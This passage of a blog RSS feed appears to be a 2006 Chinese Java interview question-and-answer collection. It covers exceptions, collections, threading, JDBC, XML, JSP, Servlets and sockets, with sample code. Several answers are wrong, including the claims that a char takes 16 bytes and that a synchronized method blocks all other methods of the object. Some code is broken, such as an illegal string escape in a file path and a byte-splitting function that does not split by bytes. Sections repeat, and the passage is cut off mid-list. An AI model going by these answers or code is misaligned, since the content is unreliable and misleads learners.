NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException <br /><br />第十八，error和exception有什么区别? <br />error 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。 <br />exception 表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。 <br /><br /><br />第十九，List, Set, Map是否继承自Collection接口? <br />List，Set是 <br /><br />Map不是 <br /><br />第二十，abstract class和interface有什么区别? <br />声明方法的存在而不去实现它的类被叫做抽象类（abstract class），它用于要创建一个体现某些基本行为的类，并为该类声明方法，但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量，其类型是一个抽象类，并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现，否则它们也是抽象类为。取而代之，在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。 <br />接口（interface）是抽象类的变体。在接口中，所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的，没有一个有程序体。接口只可以定义static final成员变量。接口的实现与子类相似，除了该实现类不能从接口定义中继承行为。当类实现特殊接口时，它定义（即将程序体给予）所有这种接口的方法。然后，它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类，它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换，instanceof 运算符可以用来决定某对象的类是否实现了接口。 <br /><br />第二十一，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? <br />都不能 <br /><br />第二十二，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? <br />接口可以继承接口。抽象类可以实现(implements)接口，抽象类是否可继承实体类，但前提是实体类必须有明确的构造函数。 <br /><br />第二十三，启动一个线程是用run()还是start()? <br />启动一个线程是调用start()方法，使线程所代表的虚拟处理机处于可运行状态，这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。 <br /><br /><br /><br />第二十四，构造器Constructor是否可被override? <br />构造器Constructor不能被继承，因此不能重写Overriding，但可以被重载Overloading。 <br /><br />第二十五，是否可以继承String类? <br />String类是final类故不可以继承。 <br /><br />第二十六，当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法? <br />不能，一个对象的一个synchronized方法只能由一个线程访问。 <br /><br />第二十七，try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后? <br />会执行，在return前执行。 <br /><br /><br />第二十八，编程题: 用最有效率的方法算出2乘以8等於几? <br />有C背景的程序员特别喜欢问这种问题。 <br /><br />2 &lt;&lt; 3 <br /><br />第二十九，两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对? <br />不对，有相同的hash code。 <br /><br />第三十，当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递? <br />是值传递。Java 编程语言只由值传递参数。当一个对象实例作为一个参数被传递到方法中时，参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变，但对象的引用是永远不会改变的。 <br /><br /><br />第三十一，swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上? <br />switch（expr1）中，expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。 <br /><br />第三十二，编程题: 写一个Singleton出来。 <br />Singleton模式主要作用是保证在Java应用程序中，一个类Class只有一个实例存在。 <br />一般Singleton模式通常有几种种形式: <br />第一种形式: 定义一个类，它的构造函数为private的，它有一个static的private的该类变量，在类初始化时实例话，通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。 <br />public class Singleton { <br />private Singleton(){} <br />//在自己内部定义自己一个实例，是不是很奇怪？ <br />//注意这是private 只供内部调用 <br />private static Singleton instance = new Singleton(); <br />//这里提供了一个供外部访问本class的静态方法，可以直接访问 <br />public static Singleton getInstance() { <br />return instance; <br />} <br />} <br />第二种形式: <br />public class Singleton { <br />private static Singleton instance = null; <br />public static synchronized Singleton getInstance() { <br />//这个方法比上面有所改进，不用每次都进行生成对象，只是第一次 <br />//使用时生成实例，提高了效率！ <br />if (instance==null) <br />instance＝new Singleton(); <br />return instance; } <br />} <br />其他形式: <br />定义一个类，它的构造函数为private的，所有方法为static的。 <br />一般认为第一种形式要更加安全些 <br />第三十三 Hashtable和HashMap <br />Hashtable继承自Dictionary类，而HashMap是Java1.2引进的Map interface的一个实现 <br /><br />HashMap允许将null作为一个entry的key或者value，而Hashtable不允许 <br /><br />还有就是，HashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。 <br /><br />最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在 <br />多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap <br />就必须为之提供外同步。 <br /><br />Hashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。<img src ="http://www.blogjava.net/songfei/aggbug/50429.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-05 10:08 <a href="http://www.blogjava.net/songfei/articles/50429.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA试题集</title><link>http://www.blogjava.net/songfei/articles/49722.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Thu, 01 Jun 2006 09:19:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/49722.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/49722.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/49722.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/49722.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/49722.html</trackback:ping><description><![CDATA[Jdbc、Jdo方面 <br /><br />1、可能会让你写一段Jdbc连Oracle的程序,并实现数据查询. <br /><br />答:程序如下： <br /><br />package hello.ant; <br /><br />import java.sql.*; <br /><br />public class jdbc <br /><br />{ <br /><br />String dbUrl="jdbc:oracle:thin:@127.0.0.1:1521:orcl"; <br /><br />String theUser="admin"; <br /><br />String thePw="manager"; <br /><br />Connection c=null; <br /><br />Statement conn; <br /><br />ResultSet rs=null; <br /><br />public jdbc() <br /><br />{ <br /><br />try{ <br /><br />Class.forName("oracle.jdbc.driver.OracleDriver").newInstance(); <br /><br />c = DriverManager.getConnection(dbUrl,theUser,thePw); <br /><br />conn=c.createStatement(); <br /><br />}catch(Exception e){ <br /><br />e.printStackTrace(); <br /><br />} <br /><br />} <br /><br />public boolean executeUpdate(String sql) <br /><br />{ <br /><br />try <br /><br />{ <br /><br />conn.executeUpdate(sql); <br /><br />return true; <br /><br />} <br /><br />catch (SQLException e) <br /><br />{ <br /><br />e.printStackTrace(); <br /><br />return false; <br /><br />} <br /><br />} <br /><br />public ResultSet executeQuery(String sql) <br /><br />{ <br /><br />rs=null; <br /><br />try <br /><br />{ <br /><br />rs=conn.executeQuery(sql); <br /><br />} <br /><br />catch (SQLException e) <br /><br />{ <br /><br />e.printStackTrace(); <br /><br />} <br /><br />return rs; <br /><br />} <br /><br />public void close() <br /><br />{ <br /><br />try <br /><br />{ <br /><br />conn.close(); <br /><br />c.close(); <br /><br />} <br /><br />catch (Exception e) <br /><br />{ <br /><br />e.printStackTrace(); <br /><br />} <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />ResultSet rs; <br /><br />jdbc conn = new jdbc(); <br /><br />rs=conn.executeQuery("select * from test"); <br /><br />try{ <br /><br />while (rs.next()) <br /><br />{ <br /><br />System.out.println(rs.getString("id")); <br /><br />System.out.println(rs.getString("name")); <br /><br />} <br /><br />}catch(Exception e) <br /><br />{ <br /><br />e.printStackTrace(); <br /><br />} <br /><br />} <br /><br />} <br /><br />2、Class.forName的作用?为什么要用? <br /><br />答：调用该访问返回一个以字符串指定类名的类的对象。 <br /><br />3、Jdo是什么? <br /><br />答:JDO是Java对象持久化的新的规范，为java data object的简称,也是一个用于存取某种数据仓库中的对象的标准化API。JDO提供了透明的对象存储，因此对开发人员来说，存储数据对象完全不需要额外的代码（如JDBC API的使用）。这些繁琐的例行工作已经转移到JDO产品提供商身上，使开发人员解脱出来，从而集中时间和精力在业务逻辑上。另外，JDO很灵活，因为它可以在任何数据底层上运行。JDBC只是面向关系数据库（RDBMS)JDO更通用，提供到任何数据底层的存储功能，比如关系数据库、文件、XML以及对象数据库（ODBMS）等等，使得应用可移植性更强。 <br /><br />4、在ORACLE大数据量下的分页解决方法。一般用截取ID方法，还有是三层嵌套方法。 <br /><br />答:一种分页方法 <br /><br />&lt;% <br /><br />int i=1; <br /><br />int numPages=14; <br /><br />String pages = request.getParameter("page") ; <br /><br />int currentPage = 1; <br /><br />currentPage=(pages==null)?(1):{Integer.parseInt(pages)} <br /><br />sql = "select count(*) from tables"; <br /><br />ResultSet rs = DBLink.executeQuery(sql) ; <br /><br />while(rs.next()) i = rs.getInt(1) ; <br /><br />int intPageCount=1; <br /><br />intPageCount=(i%numPages==0)?(i/numPages):(i/numPages+1); <br /><br />int nextPage ; <br /><br />int upPage; <br /><br />nextPage = currentPage+1; <br /><br />if (nextPage&gt;=intPageCount) nextPage=intPageCount; <br /><br />upPage = currentPage-1; <br /><br />if (upPage&lt;=1) upPage=1; <br /><br />rs.close(); <br /><br />sql="select * from tables"; <br /><br />rs=DBLink.executeQuery(sql); <br /><br />i=0; <br /><br />while((i&lt;numPages*(currentPage-1))&amp;&amp;rs.next()){i++;} <br /><br />%&gt; <br /><br />//输出内容 <br /><br />//输出翻页连接 <br /><br />合计:&lt;%=currentPage%&gt;/&lt;%=intPageCount%&gt;&lt;a href="List.jsp?page=1"&gt;第一页&lt;/a&gt;&lt;a <br /><br /><br /><br />href="List.jsp?page=&lt;%=upPage%&gt;"&gt;上一页&lt;/a&gt; <br /><br />&lt;% <br /><br />for(int j=1;j&lt;=intPageCount;j++){ <br /><br />if(currentPage!=j){ <br /><br />%&gt; <br /><br />&lt;a href="list.jsp?page=&lt;%=j%&gt;"&gt;[&lt;%=j%&gt;]&lt;/a&gt; <br /><br />&lt;% <br /><br />}else{ <br /><br />out.println(j); <br /><br />} <br /><br />} <br /><br />%&gt; <br /><br />&lt;a href="List.jsp?page=&lt;%=nextPage%&gt;"&gt;下一页&lt;/a&gt;&lt;a href="List.jsp?page=&lt;%=intPageCount%&gt;"&gt;最后页 <br /><br /><br /><br />&lt;/a&gt; <br /><br />Xml方面 <br /><br />1、xml有哪些解析技术?区别是什么? <br /><br />答:有DOM,SAX,STAX等 <br /><br />DOM:处理大型文件时其性能下降的非常厉害。这个问题是由DOM的树结构所造成的，这种结构占用的内存较多，而且DOM必须在解析文件之前把整个文档装入内存,适合对XML的随机访问SAX:不现于DOM,SAX是事件驱动型的XML解析方式。它顺序读取XML文件，不需要一次全部装载整个文件。当遇到像文件开头，文档结束，或者标签开头与标签结束时，它会触发一个事件，用户通过在其回调事件中写入处理代码来处理XML文件，适合对XML的顺序访问 <br /><br />STAX:Streaming API for XML (StAX) <br /><br />2、你在项目中用到了xml技术的哪些方面?如何实现的? <br /><br />答:用到了数据存贮，信息配置两方面。在做数据交换平台时，将不能数据源的数据组装成XML文件，然后将XML文件压缩打包加密后通过网络传送给接收者，接收解密与解压缩后再同XML文件中还原相关信息进行处理。在做软件配置时，利用XML可以很方便的进行，软件的各种配置参数都存贮在XML文件中。 <br /><br />3、用jdom解析xml文件时如何解决中文问题?如何解析? <br /><br />答:看如下代码,用编码方式加以解决 <br /><br />package test; <br /><br />import java.io.*; <br /><br />public class DOMTest <br /><br />{ <br /><br />private String inFile = "c:\people.xml"; <br /><br />private String outFile = "c:\people.xml"; <br /><br />public static void main(String args[]) <br /><br />{ <br /><br />new DOMTest(); <br /><br />} <br /><br />public DOMTest() <br /><br />{ <br /><br />try <br /><br />{ <br /><br />javax.xml.parsers.DocumentBuilder builder = <br /><br />javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder(); <br /><br />org.w3c.dom.Document doc = builder.newDocument(); <br /><br />org.w3c.dom.Element root = doc.createElement("老师"); <br /><br />org.w3c.dom.Element wang = doc.createElement("王"); <br /><br />org.w3c.dom.Element liu = doc.createElement("刘"); <br /><br />wang.appendChild(doc.createTextNode("我是王老师")); <br /><br />root.appendChild(wang); <br /><br />doc.appendChild(root); <br /><br />javax.xml.transform.Transformer transformer = <br /><br />javax.xml.transform.TransformerFactory.newInstance().newTransformer(); <br /><br />transformer.setOutputProperty(javax.xml.transform.OutputKeys.ENCODING, "gb2312"); <br /><br />transformer.setOutputProperty(javax.xml.transform.OutputKeys.INDENT, "yes"); <br /><br /><br /><br /><br /><br />transformer.transform(new javax.xml.transform.dom.DOMSource(doc), <br /><br />new <br /><br /><br /><br />javax.xml.transform.stream.StreamResult(outFile)); <br /><br />} <br /><br />catch (Exception e) <br /><br />{ <br /><br />System.out.println (e.getMessage()); <br /><br />} <br /><br />} <br /><br />}<br /><br />6、用JAVA实现一种排序，JAVA类实现序列化的方法(二种)？ 如在COLLECTION框架中，实现比较要实现什么样的接口？ <br /><br />答:用插入法进行排序代码如下 <br /><br />package test; <br /><br />import java.util.*; <br /><br />class InsertSort <br /><br />{ <br /><br />ArrayList al; <br /><br />public InsertSort(int num,int mod) <br /><br />{ <br /><br />al = new ArrayList(num); <br /><br />Random rand = new Random(); <br /><br />System.out.println("The ArrayList Sort Before:"); <br /><br />for (int i=0;i&lt;num ;i++ ) <br /><br />{ <br /><br />al.add(new Integer(Math.abs(rand.nextInt()) % mod + 1)); <br /><br />System.out.println("al["+i+"]="+al.get(i)); <br /><br />} <br /><br />} <br /><br />public void SortIt() <br /><br />{ <br /><br />Integer tempInt; <br /><br />int MaxSize=1; <br /><br />for(int i=1;i&lt;al.size();i++) <br /><br />{ <br /><br />tempInt = (Integer)al.remove(i); <br /><br />if(tempInt.intValue()&gt;=((Integer)al.get(MaxSize-1)).intValue()) <br /><br />{ <br /><br />al.add(MaxSize,tempInt); <br /><br />MaxSize++; <br /><br />System.out.println(al.toString()); <br /><br />} else { <br /><br />for (int j=0;j&lt;MaxSize ;j++ ) <br /><br />{ <br /><br />if <br /><br /><br /><br />(((Integer)al.get(j)).intValue()&gt;=tempInt.intValue()) <br /><br />{ <br /><br />al.add(j,tempInt); <br /><br />MaxSize++; <br /><br />System.out.println(al.toString()); <br /><br />break; <br /><br />} <br /><br />} <br /><br />} <br /><br />} <br /><br />System.out.println("The ArrayList Sort After:"); <br /><br />for(int i=0;i&lt;al.size();i++) <br /><br />{ <br /><br />System.out.println("al["+i+"]="+al.get(i)); <br /><br />} <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />InsertSort is = new InsertSort(10,100); <br /><br />is.SortIt(); <br /><br />} <br /><br />} <br /><br />JAVA类实现序例化的方法是实现java.io.Serializable接口 <br /><br />Collection框架中实现比较要实现Comparable 接口和 Comparator 接口 <br /><br />7、编程：编写一个截取字符串的函数，输入为一个字符串和字节数，输出为按字节截取的字符串。 但是要保证汉字不被截半个，如“我ABC”4，应该截为“我AB”，输入“我ABC汉DEF”，6，应该输出为“我ABC”而不是“我ABC+汉的半个”。 <br /><br />答：代码如下： <br /><br />package test; <br /><br /><br /><br />class SplitString <br /><br />{ <br /><br />String SplitStr; <br /><br />int SplitByte; <br /><br />public SplitString(String str,int bytes) <br /><br />{ <br /><br />SplitStr=str; <br /><br />SplitByte=bytes; <br /><br />System.out.println("The String is:′"+SplitStr+"′;SplitBytes="+SplitByte); <br /><br />} <br /><br />public void SplitIt() <br /><br />{ <br /><br />int loopCount; <br /><br />loopCount=(SplitStr.length()%SplitByte==0)?(SplitStr.length()/SplitByte):(SplitStr.length()/Split <br /><br />Byte+1); <br /><br />System.out.println("Will Split into "+loopCount); <br /><br />for (int i=1;i&lt;=loopCount ;i++ ) <br /><br />{ <br /><br />if (i==loopCount){ <br /><br />System.out.println(SplitStr.substring((i-1)*SplitByte,SplitStr.length())); <br /><br />} else { <br /><br />System.out.println(SplitStr.substring((i-1)*SplitByte,(i*SplitByte))); <br /><br />} <br /><br />} <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />SplitString ss = new SplitString("test中dd文dsaf中男大3443n中国43中国人 <br /><br /><br /><br />0ewldfls=103",4); <br /><br />ss.SplitIt(); <br /><br />} <br /><br />} <br /><br />8、JAVA多线程编程。 用JAVA写一个多线程程序，如写四个线程，二个加1，二个对一个变量减一，输出。 <br /><br />希望大家补上，谢谢 <br /><br />9、STRING与STRINGBUFFER的区别。 <br /><br />答：STRING的长度是不可变的，STRINGBUFFER的长度是可变的。如果你对字符串中的内容经常进行操作，特别是内容要修改时，那么使用StringBuffer，如果最后需要String，那么使用StringBuffer的toString()方法 <br /><br />Jsp方面 <br /><br />1、jsp有哪些内置对象?作用分别是什么? <br /><br />答:JSP共有以下9种基本内置组件（可与ASP的6种内部组件相对应）： <br /><br />　request 用户端请求，此请求会包含来自GET/POST请求的参数 <br /><br />response 网页传回用户端的回应 <br /><br />pageContext 网页的属性是在这里管理 <br /><br />session 与请求有关的会话期 <br /><br />application servlet 正在执行的内容 <br /><br />out 用来传送回应的输出 <br /><br />config servlet的构架部件 <br /><br />page JSP网页本身 <br /><br />exception 针对错误网页，未捕捉的例外 <br /><br />2、jsp有哪些动作?作用分别是什么? <br /><br />答:JSP共有以下6种基本动作 <br /><br />jsp:include：在页面被请求的时候引入一个文件。 <br /><br />jsp:useBean：寻找或者实例化一个JavaBean。 <br /><br />jsp:setProperty：设置JavaBean的属性。 <br /><br />jsp:getProperty：输出某个JavaBean的属性。 <br /><br />jsp:forward：把请求转到一个新的页面。 <br /><br />jsp:plugin：根据浏览器类型为Java插件生成OBJECT或EMBED标记 <br /><br />3、JSP中动态INCLUDE与静态INCLUDE的区别？ <br /><br />答：动态INCLUDE用jsp:include动作实现 <br /><br />&lt;jsp:include page="included.jsp" flush="true" /&gt;它总是会检查所含文件中的变化，适合用于包含动态页面，并且可以带参数 <br /><br />静态INCLUDE用include伪码实现,定不会检查所含文件的变化，适用于包含静态页面 <br /><br />&lt;%@ include file="included.htm" %&gt; <br /><br />4、两种跳转方式分别是什么?有什么区别? <br /><br />答：有两种，分别为： <br /><br />&lt;jsp:include page="included.jsp" flush="true"&gt; <br /><br />&lt;jsp:forward page= "nextpage.jsp"/&gt; <br /><br />前者页面不会转向include所指的页面，只是显示该页的结果，主页面还是原来的页面。执行完后还会回来，相当于函数调用。并且可以带参数.后者完全转向新页面，不会再回来。相当于go to 语句。 <br /><br />Servlet方面 <br /><br />1、说一说Servlet的生命周期? <br /><br />答:servlet有良好的生存期的定义，包括加载和实例化、初始化、处理请求以及服务结束。这个生存期由javax.servlet.Servlet接口的init,service和destroy方法表达。 <br /><br />2、Servlet版本间(忘了问的是哪两个版本了)的不同? <br /><br />希望大家补上，谢谢 <br /><br />3、JAVA SERVLET API中forward() 与redirect()的区别？ <br /><br />答:前者仅是容器中控制权的转向，在客户端浏览器地址栏中不会显示出转向后的地址；后者则是完全的跳转，浏览器将会得到跳转的地址，并重新发送请求链接。这样，从浏览器的地址栏中可以看到跳转后的链接地址。所以，前者更加高效，在前者可以满足需要时，尽量使用forward()方法，并且，这样也有助于隐藏实际的链接。在有些情况下，比如，需要跳转到一个其它服务器上的资源，则必须使用sendRedirect()方法。 <br /><br />4、Servlet的基本架构 <br /><br />public class ServletName extends HttpServlet { <br /><br />public void doPost(HttpServletRequest request, HttpServletResponse response) throws <br /><br />ServletException, IOException { <br /><br />} <br /><br />public void doGet(HttpServletRequest request, HttpServletResponse response) throws <br /><br />ServletException, IOException { <br /><br />} <br /><br />}<br /><br />答：区别如下： <br /><br />作用域 当前类 同一package 子孙类 其他package <br /><br />public √ √ √ √ <br /><br />protected √ √ √ × <br /><br />friendly √ √ × × <br /><br />private √ × × × <br /><br />不写时默认为friendly <br /><br />56、ArrayList和Vector的区别,HashMap和Hashtable的区别 <br /><br />答：就ArrayList与Vector主要从二方面来说. <br /><br />一.同步性:Vector是线程安全的，也就是说是同步的，而ArrayList是线程序不安全的，不是同步的 <br /><br />二.数据增长:当需要增长时,Vector默认增长为原来一培，而ArrayList却是原来的一半 <br /><br />就HashMap与HashTable主要从三方面来说。 <br /><br />一.历史原因:Hashtable是基于陈旧的Dictionary类的，HashMap是Java 1.2引进的Map接口的一个实现 <br /><br />二.同步性:Hashtable是线程安全的，也就是说是同步的，而HashMap是线程序不安全的，不是同步的 <br /><br />三.值：只有HashMap可以让你将空值作为一个表的条目的key或value <br /><br />57、char型变量中能不能存贮一个中文汉字?为什么? <br /><br />答：是能够定义成为一个中文的，因为java中以unicode编码，一个char占16个字节，所以放一个中文是没问题的 <br /><br />58、多线程有几种实现方法,都是什么?同步有几种实现方法,都是什么? <br /><br />答：多线程有两种实现方法，分别是继承Thread类与实现Runnable接口 <br /><br />同步的实现方面有两种，分别是synchronized,wait与notify <br /><br />59、垃圾回收机制,如何优化程序? <br /><br />希望大家补上，谢谢 <br /><br />60、float型float f=3.4是否正确? <br /><br />答:不正确。精度不准确,应该用强制类型转换，如下所示：float f=(float)3.4 <br /><br />61、介绍JAVA中的Collection FrameWork(包括如何写自己的数据结构)? <br /><br />答：Collection FrameWork如下： <br /><br />Collection <br /><br />├List <br /><br />│├LinkedList <br /><br />│├ArrayList <br /><br />│└Vector <br /><br />│　└Stack <br /><br />└Set <br /><br />Map <br /><br />├Hashtable <br /><br />├HashMap <br /><br />└WeakHashMap <br /><br />Collection是最基本的集合接口，一个Collection代表一组Object，即Collection的元素（Elements） <br /><br />Map提供key到value的映射 <br /><br />62、Java中异常处理机制，事件机制？ <br /><br />11、JAVA中的多形与继承？ <br /><br />希望大家补上，谢谢 <br /><br />63、抽象类与接口？ <br /><br />答：抽象类与接口都用于抽象，但是抽象类(JAVA中)可以有自己的部分实现，而接口则完全是一个标识(同时有多重继承的功能)。 <br /><br />编程题： <br /><br />1．现在输入n个数字，以逗号，分开； <br /><br />然后可选择升或者降序排序； <br /><br />按提交键就在另一页面显示 <br /><br />按什么 排序，结果为， ， <br /><br />提供reset <br /><br />答案（1） public static String[] splitStringByComma(String source){ <br /><br />if(source==null||source.trim().equals("")) <br /><br />return null; <br /><br />StringTokenizer commaToker = new StringTokenizer(source,","); <br /><br />String[] result = new String[commaToker.countTokens()]; <br /><br />int i=0; <br /><br />while(commaToker.hasMoreTokens()){ <br /><br />result[i] = commaToker.nextToken(); <br /><br />i++; <br /><br />} <br /><br />return result; <br /><br />} <br /><br />循环遍历String数组 <br /><br />Integer.parseInt(String s)变成int类型 <br /><br />组成int数组 <br /><br />Arrays.sort(int[] a), <br /><br />a数组升序 <br /><br />降序可以从尾部开始输出 <br /><br /><br /><br />2．金额转换，阿拉伯数字的金额转换成中国传统的形式如： <br /><br />（￥1011）－&gt;（一千零一拾一元整）输出。 <br /><br />3、继承时候类的执行顺序问题,一般都是选择题,问你将会打印出什么? <br /><br />答:父类： <br /><br />package test; <br /><br />public class FatherClass <br /><br />{ <br /><br />public FatherClass() <br /><br />{ <br /><br />System.out.println("FatherClass Create"); <br /><br />} <br /><br />} <br /><br />子类: <br /><br />package test; <br /><br />import test.FatherClass; <br /><br />public class ChildClass extends FatherClass <br /><br />{ <br /><br />public ChildClass() <br /><br />{ <br /><br />System.out.println("ChildClass Create"); <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />FatherClass fc = new FatherClass(); <br /><br />ChildClass cc = new ChildClass(); <br /><br />} <br /><br />} <br /><br />输出结果： <br /><br />C:&gt;java test.ChildClass <br /><br />FatherClass Create <br /><br />FatherClass Create <br /><br />ChildClass Create <br /><br /><br /><br />4、内部类的实现方式? <br /><br />答：示例代码如下： <br /><br />package test; <br /><br />public class OuterClass <br /><br />{ <br /><br />private class InterClass <br /><br />{ <br /><br />public InterClass() <br /><br />{ <br /><br />System.out.println("InterClass Create"); <br /><br />} <br /><br />} <br /><br />public OuterClass() <br /><br />{ <br /><br />InterClass ic = new InterClass(); <br /><br />System.out.println("OuterClass Create"); <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />OuterClass oc = new OuterClass(); <br /><br />} <br /><br />} <br /><br />输出结果: <br /><br />C:&gt;java test/OuterClass <br /><br />InterClass Create <br /><br />OuterClass Create <br /><br />再一个例题： <br /><br />public class OuterClass { <br /><br />private double d1 = 1.0; <br /><br />//insert code here <br /><br />} <br /><br />You need to insert an inner class declaration at line 3. Which two inner class declarations are <br /><br /><br /><br />valid?(Choose two.) <br /><br />A. class InnerOne{ <br /><br />public static double methoda() {return d1;} <br /><br />} <br /><br />B. public class InnerOne{ <br /><br />static double methoda() {return d1;} <br /><br />} <br /><br />C. private class InnerOne{ <br /><br />double methoda() {return d1;} <br /><br />} <br /><br />D. static class InnerOne{ <br /><br />protected double methoda() {return d1;} <br /><br />} <br /><br />E. abstract class InnerOne{ <br /><br />public abstract double methoda(); <br /><br />} <br /><br />说明如下： <br /><br />一.静态内部类可以有静态成员，而非静态内部类则不能有静态成员。 故 A、B 错 <br /><br />二.静态内部类的非静态成员可以访问外部类的静态变量，而不可访问外部类的非静态变量；return d1 出错。 <br /><br /><br /><br />故 D 错 <br /><br />三.非静态内部类的非静态成员可以访问外部类的非静态变量。 故 C 正确 <br /><br />四.答案为C、E <br /><br /><br /><br /><br /><br />5、Java 的通信编程，编程题(或问答)，用JAVA SOCKET编程，读服务器几个字符，再写入本地显示？ <br /><br />答:Server端程序: <br /><br />package test; <br /><br />import java.net.*; <br /><br />import java.io.*; <br /><br />public class Server <br /><br />{ <br /><br />private ServerSocket ss; <br /><br />private Socket socket; <br /><br />private BufferedReader in; <br /><br />private PrintWriter out; <br /><br />public Server() <br /><br />{ <br /><br />try <br /><br />{ <br /><br />ss=new ServerSocket(10000); <br /><br />while(true) <br /><br />{ <br /><br />socket = ss.accept(); <br /><br />String RemoteIP = socket.getInetAddress().getHostAddress(); <br /><br />String RemotePort = ":"+socket.getLocalPort(); <br /><br />System.out.println("A client come in!IP:"+RemoteIP+RemotePort); <br /><br />in = new BufferedReader(new <br /><br /><br /><br />InputStreamReader(socket.getInputStream())); <br /><br />String line = in.readLine(); <br /><br />System.out.println("Cleint send is :" + line); <br /><br />out = new PrintWriter(socket.getOutputStream(),true); <br /><br />out.println("Your Message Received!"); <br /><br />out.close(); <br /><br />in.close(); <br /><br />socket.close(); <br /><br />} <br /><br />}catch (IOException e) <br /><br />{ <br /><br />out.println("wrong"); <br /><br />} <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />new Server(); <br /><br />} <br /><br />}; <br /><br />Client端程序: <br /><br />package test; <br /><br />import java.io.*; <br /><br />import java.net.*; <br /><br /><br /><br />public class Client <br /><br />{ <br /><br />Socket socket; <br /><br />BufferedReader in; <br /><br />PrintWriter out; <br /><br />public Client() <br /><br />{ <br /><br />try <br /><br />{ <br /><br />System.out.println("Try to Connect to 127.0.0.1:10000"); <br /><br />socket = new Socket("127.0.0.1",10000); <br /><br />System.out.println("The Server Connected!"); <br /><br />System.out.println("Please enter some Character:"); <br /><br />BufferedReader line = new BufferedReader(new <br /><br /><br /><br />InputStreamReader(System.in)); <br /><br />out = new PrintWriter(socket.getOutputStream(),true); <br /><br />out.println(line.readLine()); <br /><br />in = new BufferedReader(new InputStreamReader(socket.getInputStream())); <br /><br />System.out.println(in.readLine()); <br /><br />out.close(); <br /><br />in.close(); <br /><br />socket.close(); <br /><br />}catch(IOException e) <br /><br />{ <br /><br />out.println("Wrong"); <br /><br />} <br /><br />} <br /><br />public static void main(String[] args) <br /><br />{ <br /><br />new Client(); <br /><br />} <br /><br />};<br /><br />27，给我一个你最常见到的runtime exception。 <br /><br />ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException, <br /><br />ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFORMatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException <br /><br />28，error和exception有什么区别? <br /><br />　　error 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。 <br /><br />　　exception 表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。 <br /><br />29，List, Set, Map是否继承自Collection接口? <br /><br />List，Set是 <br /><br />Map不是 <br /><br />30，abstract class和interface有什么区别? <br /><br />　　声明方法的存在而不去实现它的类被叫做抽象类（abstract class），它用于要创建一个体现某些基本行为的类，并为该类声明方法，但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量，其类型是一个抽象类，并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现，否则它们也是抽象类为。取而代之，在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。 <br /><br />　　接口（interface）是抽象类的变体。在接口中，所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的，没有一个有程序体。接口只可以定义static 